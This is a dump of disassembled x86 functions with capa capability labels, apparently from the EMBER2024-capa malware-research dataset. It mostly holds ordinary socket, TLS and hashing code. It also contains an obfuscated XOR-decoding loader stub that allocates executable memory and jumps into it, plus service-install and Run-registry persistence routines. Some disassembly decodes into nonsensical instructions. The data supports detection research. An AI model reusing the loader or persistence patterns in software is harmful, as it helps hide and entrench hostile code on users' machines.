joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006b0a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8c
mov eax, dword [0x1009e3c0]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push ebp
mov ebp, dword [esp + 0x98]
xor ebx, ebx
push esi
push edi
mov eax, dword [ebp + 0x18]
mov edi, dword [eax + 0x350]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0x80
lea eax, [esp + 0x1c]
push eax
mov eax, dword [edi + 0x13c]
push ebx
add eax, 4
push eax
push dword [edi + 0x148]
push dword [edi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
mov dword [edi + 0x134], eax
cmp dword [edi + 0x130], ebx
jne 0x1006b126
push dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
lea eax, [edi + 0xb0]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [edi + 0x130], eax
mov esi, dword [edi + 0x134]
cmp esi, 4
jge 0x1006b161
push str.Received_too_short_packet
push ebp
call fcn.10047090
add esp, 8
mov dword [edi + 0xc], 7
mov eax, ebx
mov ecx, dword [esp + 0x98]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100841e2
add esp, 0x8c
ret
mov edx, dword [edi + 0x148]
movzx eax, byte [edx]
movzx ecx, byte [edx + 1]
shl eax, 8
or ecx, eax
mov dword [edi + 0xc], ecx
dec ecx
cmp ecx, 5
ja case.0x1006b180.1
jmp dword [ecx*4 + 0x1006b26c]
cmp esi, 4
jle case.0x1006b180.4
movzx ecx, byte [edx + 2]
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
movzx eax, word [edi + 0x144]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x1006b180.4
lea eax, [esi - 4]
push eax
lea eax, [edx + 4]
push eax
push 1
push ebp
call fcn.10047600
mov ebx, eax
add esp, 0x10
test ebx, ebx
je case.0x1006b180.4
push 5
push edi
call fcn.1006bb80
add esp, 8
jmp 0x1006b146
movzx ecx, byte [edx + 2]
lea eax, [edx + 4]
mov dword [esp + 0x14], eax
add esi, 0xfffffffc
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
lea eax, [edx + 4]
push esi
push eax
mov dword [edi + 8], ecx
call fcn.1006bbf0
add esp, 8
cmp eax, esi
jae case.0x1006b180.4
push dword [esp + 0x14]
push str.TFTP_error:__s
push ebp
call fcn.10047160
jmp 0x1006b241
lea eax, [esi - 2]
push eax
lea eax, [edx + 2]
push eax
push edi
call fcn.1006ae50
mov ebx, eax
add esp, 0xc
test ebx, ebx
je case.0x1006b180.4
jmp 0x1006b146
push str.Internal_error:_Unexpected_packet
push 0x10094ab4
push ebp
call fcn.10047090
add esp, 0xc
push ebp
call fcn.10055790
add esp, 4
test eax, eax
je 0x1006b146
push 5
push edi
call fcn.1006bb80
add esp, 8
mov eax, 0x2a
jmp 0x1006b148
Function at 0x10071990
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
mov eax, dword [0x10122fc0]
mov dword [esp + 4], 0x4020
mov dword [esp], 0
mov dword [esp + 8], 4
test eax, eax
jne 0x100719e1
push 3
push 2
push eax
push eax
push 6
call fcn.100770b0
add esp, 0x14
test al, al
je 0x100719d5
mov dword [0x10122fc0], 2
add esp, 0xc
ret
mov dword [0x10122fc0], 1
jmp 0x100719e6
cmp eax, 2
je 0x10071a2c
lea eax, [esp + 8]
push eax
lea eax, [esp + 4]
push eax
push 0x1001
push 0xffff
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x10071a11
mov eax, dword [esp]
cmp eax, dword [esp + 4]
jg 0x10071a2c
push 4
lea eax, [esp + 8]
push eax
push 0x1001
push 0xffff
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_setsockopt]
add esp, 0xc
ret
Function at 0x10072540
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x104
mov eax, dword [0x1009e3c0]
xor eax, esp
mov dword [esp + 0x100], eax
mov ecx, dword [esp + 0x10c]
push ebx
mov ebx, dword [esp + 0x10c]
push esi
push edi
mov edi, dword [esp + 0x120]
mov eax, dword [ebx]
push 0
push dword [esp + 0x120]
mov eax, dword [eax + 8]
push ecx
mov dword [edi], 0
push dword [eax + 0x98]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100725df
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x100725ac
mov dword [edi], 0x51
jmp 0x100725dc
push 0x100
lea eax, [esp + 0x10]
push eax
push esi
call fcn.10038ae0
push eax
push str.Recv_failure:__s
push dword [ebx + 4]
call fcn.10047090
mov eax, dword [ebx + 4]
add esp, 0x18
mov dword [eax + 0x934], esi
mov dword [edi], 0x38
or esi, 0xffffffff
push dword [edi]
push esi
push dword [esp + 0x124]
push str.nw_in_read_len_zu______d__err_d
push dword [ebx]
push dword [ebx + 4]
call fcn.100471f0
mov ecx, dword [esp + 0x124]
add esp, 0x18
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100841e2
add esp, 0x104
ret

Function at 0x10072620
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x188
mov eax, dword [0x1009e3c0]
xor eax, esp
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x18c]
push ebx
mov ebx, dword [esp + 0x194]
push esi
mov esi, dword [eax + 8]
mov eax, dword [ebx + 0x18]
mov eax, dword [eax + 0x1c8]
test dword [eax + 0x44], 0x800
jne 0x1007274d
push 0x80
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x80
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esi + 0x98]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x100726da
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x8c]
push 0x100
push eax
push esi
call fcn.10038ae0
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.10047090
add esp, 0x1c
mov eax, 2
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.100841e2
add esp, 0x188
ret
lea eax, [esi + 0x120]
push eax
lea eax, [esi + 0xf0]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.10048440
add esp, 0x10
test al, al
jne 0x1007274d
push edi
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov esi, dword [eax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov edi, eax
lea eax, [esp + 0x90]
push 0x100
push eax
push esi
call fcn.10038ae0
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.10047090
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.100841e2
add esp, 0x188
ret
mov ecx, dword [esp + 0x18c]
xor eax, eax
pop esi
pop ebx
xor ecx, esp
call fcn.100841e2
add esp, 0x188
ret
Function at 0x1007c7a0
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x120
mov eax, dword [0x1009e3c0]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push ebp
mov ebp, dword [esp + 0x134]
xor ebx, ebx
push esi
push edi
mov edi, dword [esp + 0x138]
xor esi, esi
push edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call sub.api_ms_win_crt_string_l1_1_0.dll__strdup
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
jne 0x1007c81f
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10038bd0
push eax
push edi
push str.schannel:_invalid_path_name_for_CA_file__s:__s
push ebp
call fcn.10047090
push esi
call dword [0x1009e004]
add esp, 0x20
lea eax, [ebx + 0x4d]
jmp 0x1007c97f
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x1007c879
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10038bd0
push eax
push edi
push str.schannel:_failed_to_open_CA_file__s:__s
push ebp
call fcn.10047090
push 0
mov esi, 0x4d
call dword [0x1009e004]
add esp, 0x20
jmp 0x1007c971
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1007c8b9
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10038bd0
push eax
push edi
push str.schannel:_failed_to_determine_size_of_CA_file__s:__s
push ebp
call fcn.10047090
add esp, 0x1c
mov esi, 0x4d
jmp 0x1007c95d
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x28], ebx
jl 0x1007c8e7
jg 0x1007c8cd
cmp edi, 0x100000
jbe 0x1007c8e7
push 0x100000
push str.schannel:_CA_file_exceeds_max_size_of__u_bytes
push ebp
call fcn.10047090
add esp, 0xc
mov esi, 0x4d
jmp 0x1007c95d
lea eax, [edi + 1]
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x1007c8ff
lea esi, [eax + 0x1b]
jmp 0x1007c95d
test edi, edi
je 0x1007c944
nop dword [eax]
nop word [eax + eax]
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1007c99c
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1007c998
add esi, eax
cmp esi, edi
jb 0x1007c910
push ebp
push dword [esp + 0x18]
mov byte [edi + ebx], 0
push edi
push ebx
push dword [esp + 0x2c]
call fcn.1007c5a0
add esp, 0x14
mov esi, eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [0x1009e004]
add esp, 4
push dword [esp + 0x20]
call fcn.10085774
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100841e2
add esp, 0x120
ret
mov edi, esi
jmp 0x1007c944
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10038bd0
push eax
push dword [esp + 0x24]
push str.schannel:_failed_to_read_from_CA_file__s:__s
push ebp
call fcn.10047090
add esp, 0x1c
mov esi, 0x4d
jmp 0x1007c95d
Function at 0x10083020
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov esi, eax
add esp, 4
test esi, esi
jne 0x1008304b
pop esi
pop ebp
add esp, 0xc
ret
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x1008309a
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [edi]
push ebx
push dword [esp + 0x2c]
push dword [esi + 4]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x28], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov ebx, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x28], ebx
jmp 0x100830a2
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x30]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x10083116
mov ebp, dword [esp + 0x14]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x100830d0
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jae 0x10083145
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x10093b7d
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x10093b7e
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x10083120
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x10083150
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push dword [esp + 0x24]
call fcn.100494b0
mov edx, dword [ebp + 0xc]
mov ebx, eax
mov ecx, dword [ebp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [section..data]
mov esi, eax
add esp, 8
test esi, esi
je 0x100832d2
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x100831d2
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [esp + 0x28]
push ebx
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x38], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x10083246
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x10083200
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jae 0x10083275
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x10093b7d
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x10093b7e
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x10083250
push dword [esp + 0x30]
call fcn.100494b0
mov ecx, dword [esi]
push eax
push dword [esp + 0x34]
push dword [esi + 4]
mov eax, dword [ecx + 4]
call eax
mov edi, dword [esp + 0x44]
add esp, 0x10
mov ebx, dword [esi]
test edi, edi
jne 0x100832a0
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 8]
push dword [esi + 4]
mov eax, dword [ebx + 8]
push edi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push edi
push dword [esi + 8]
call eax
push dword [esi + 8]
mov eax, dword [ebx + 8]
push edi
call eax
push esi
call dword [0x1009e004]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop esi
pop ebp
mov eax, 0x1b
pop ebx
add esp, 0xc
ret
Function at 0x100833a0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
push 0xf0000040
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x100833c6
mov eax, 0x1b
add esp, 0xc
ret
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x100833fe
push eax
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esp + 4], 0
mov eax, 2
add esp, 0xc
ret
push dword [esp + 0x18]
call fcn.100494b0
add esp, 4
push 0
push eax
push dword [esp + 0x1c]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push 0
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [esp], 0x20
jne 0x10083455
push 0
lea eax, [esp + 4]
push eax
push dword [esp + 0x18]
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [esp + 8]
test eax, eax
je 0x10083464
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x10083475
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
add esp, 0xc
ret
Function at 0x100840b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
je 0x100840fb
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x100840c1
pop edi
pop esi
pop ebx
ret

Function at 0x4161ec
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4161f2
ret

Function at 0x474264
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [edx]
add byte [eax], al
push edx
mov ecx, dword [ebx + 0x30]
push ecx
call fcn.00473f20
mov dword [ebx + 0x64], esi
mov dword [ebx + 0x54], esi
mov eax, dword [ebx + 0x30]
add esp, 0xc
movzx eax, byte [eax]
mov dword [ebx + 0x40], eax
mov edx, dword [ebx + 0x30]
add byte [ebx + 0x50], cl
shl eax, cl
movzx edx, byte [edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
add byte [ebx + 0x4b0036eb], cl
push eax
add byte [ebx + 0x50], cl
mov edx, dword [ebx + 0x40]
shl edx, cl
mov ecx, dword [ebx + 0x30]
movzx ecx, byte [ecx + eax + 2]
xor edx, ecx
and edx, dword [ebx + 0x4c]
mov dword [ebx + 0x40], edx
mov ecx, dword [ebx + 0x3c]
movzx edi, word [ecx + edx*2]
or byte [ebx + 0x2c], dl
and edx, eax
mov ecx, dword [ebx + 0x38]
mov word [ecx + edx*2], di
or byte [ebx + 0x3c], dl
mov ecx, dword [ebx + 0x40]
mov word [edx + ecx*2], ax
inc eax
mov edx, esi
sub edx, 3
cmp eax, edx
jbe 0x47429d
test edi, edi
and byte [eax], al
add byte [eax], ch
add byte [eax], dl
add byte [ebp + 0x53], dl
add al, al
je 0x4742fe
push ebx
add al, 0x5b
pop ecx
pop ecx
or al, 0x83
js 0x474315
add byte [esi + eax - 0x7d], dh
js 0x4742fe
push dword [ebp + 7]
mov eax, 0xff001cfe
pop ebx
ret
inc eax
sub al, 2
int1
dec eax
add dl, ah
pop eax
sbb al, 0x29
retf 0x8b14
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x100022de
pop dword [ebp - 0x28]
mov eax, 0x9e613d84
add eax, 0x719ee55a
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xfaaacb95
add dword [ebp - 0x38], 0x53a779b6
mov dword [ebp - 0x34], 0xc7b25218
add dword [ebp - 0x34], 0x6a80fa2d
mov dword [ebp - 0x30], 0xdad2ea38
sub dword [ebp - 0x30], 0x8e86a60a
mov dword [ebp - 0x2c], 0x69b59350
sub dword [ebp - 0x2c], 0x69b59350
lea eax, [ebp - 0x38]
push eax
mov eax, 0x4efd679e
sub eax, 0x3efd379a
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xae225e00
sub dword [ebp - 0x38], 0x39aff4aa
mov dword [ebp - 0x34], 0xae2ae0e6
sub dword [ebp - 0x34], 0x6cbe7f71
mov dword [ebp - 0x30], 0xdef0b55
sub dword [ebp - 0x30], 0xaa7f9ee9
mov dword [ebp - 0x2c], 0x563a124a
sub dword [ebp - 0x2c], 0x563a124a
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x38346
push 0
call eax
mov ecx, 0x37239f08
sub ecx, 0x37235029
xor esi, esi
add esi, eax
mov edx, 0xc5b23a6c
sub edx, 0xb5b1d86c
add edx, dword [ebp - 0x28]
mov ebx, 0x1ad7577d
add ebx, 0xee56e8ba
xor dword [ebp - 0x1c], 0xa815b121
mov edi, dword [edx]
add dword [ebp - 0x20], edx
xor edi, ebx
sub dword [ebp - 0x14], eax
mov dword [esi], edi
add esi, 0x34643248
add esi, 0xcb9bcdbc
add edx, 0xdaed07b5
add edx, 0x2512f84f
loop 0x100023fd
add eax, 0x3b26132a
add eax, 0xc4db1b25
xor ebx, ebx
add ebx, eax
add eax, 0x1e60d74f
add eax, 0xe19f28b6
mov ecx, 0x89f4b968
add ecx, 0x860b4698
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4010de
Capabilities:
Create service
Persist via windows service

Disassembly:
push esi
xor esi, esi
push esi
push esi
push str.NetworkProvider
push esi
push esi
push dword [esp + 0x28]
push 1
push 2
push 0x10
push 0xf01ff
push dword [esp + 0x30]
push dword [esp + 0x34]
push dword [0x41ac28]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [0x418c84], eax
cmp eax, esi
jne 0x401160
push str.Failed_to_install_FLEXnet_License_Manager:_n
call fcn.00401c80
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
pop ecx
call esi
cmp eax, 5
je 0x401151
cmp eax, 0x34
je 0x40114a
cmp eax, 0x431
je 0x40114a
call esi
push eax
push str.Error_code:_0X_X_n
call fcn.00401c80
pop ecx
jmp 0x40115b
push str.FLEXnet_License_Manager_is_already_installed_n
jmp 0x401156
push str.Access_to_Windows_NT_Service_Control_Manager_Database_denied._n
call fcn.00401c80
pop ecx
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
pop esi
ret
Function at 0x40116c
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2328]
mov eax, 0x23a8
call fcn.00402180
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x2324], eax
mov eax, dword [ebp + 0x2330]
push ebx
push esi
mov dword [ebp - 0x78], eax
mov eax, dword [ebp + 0x2334]
push edi
mov edi, dword [ebp + 0x2338]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x233c]
mov esi, 0x103
xor ebx, ebx
push esi
mov dword [ebp - 0x74], eax
lea eax, [ebp + 0x2221]
push ebx
push eax
mov byte [ebp + 0x2220], bl
call fcn.004021b0
push 0x2183
lea eax, [ebp - 0x67]
push ebx
push eax
mov byte [ebp - 0x68], bl
call fcn.004021b0
push esi
lea eax, [ebp + 0x211d]
push ebx
push eax
mov byte [ebp + 0x211c], bl
call fcn.004021b0
add esp, 0x24
lea eax, [ebp + 0x2220]
cmp byte [edi], bl
jne 0x401204
push 0x413390
jmp 0x401205
push edi
push eax
call fcn.00402070
pop ecx
pop ecx
push dword [ebp - 0x74]
lea eax, [ebp + 0x211c]
push eax
call fcn.00402070
lea eax, [ebp + 0x211c]
push 0x5c
push eax
call fcn.00402040
mov byte [eax], bl
lea eax, [ebp + 0x2220]
push eax
push dword [ebp - 0x7c]
lea eax, [ebp + 0x211c]
push dword [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push str._slmgrd.exe__s__win__c__s__l__s
push eax
call fcn.00401e7b
add esp, 0x28
lea eax, [ebp - 0x6c]
push eax
xor esi, esi
inc esi
push esi
push ebx
push str.SOFTWARE
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012c5
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push 0x20006
push ebx
push 0x41335d
push ebx
push str.MicrosoftWindowsCurrentVersionRunServices
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012df
lea eax, [ebp - 0x68]
push eax
call fcn.00401df0
pop ecx
inc eax
push eax
lea eax, [ebp - 0x68]
push eax
push esi
push ebx
push dword [ebp - 0x78]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x2324]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402168
add ebp, 0x2328
leave
ret
xor esi, esi
jmp 0x4012bc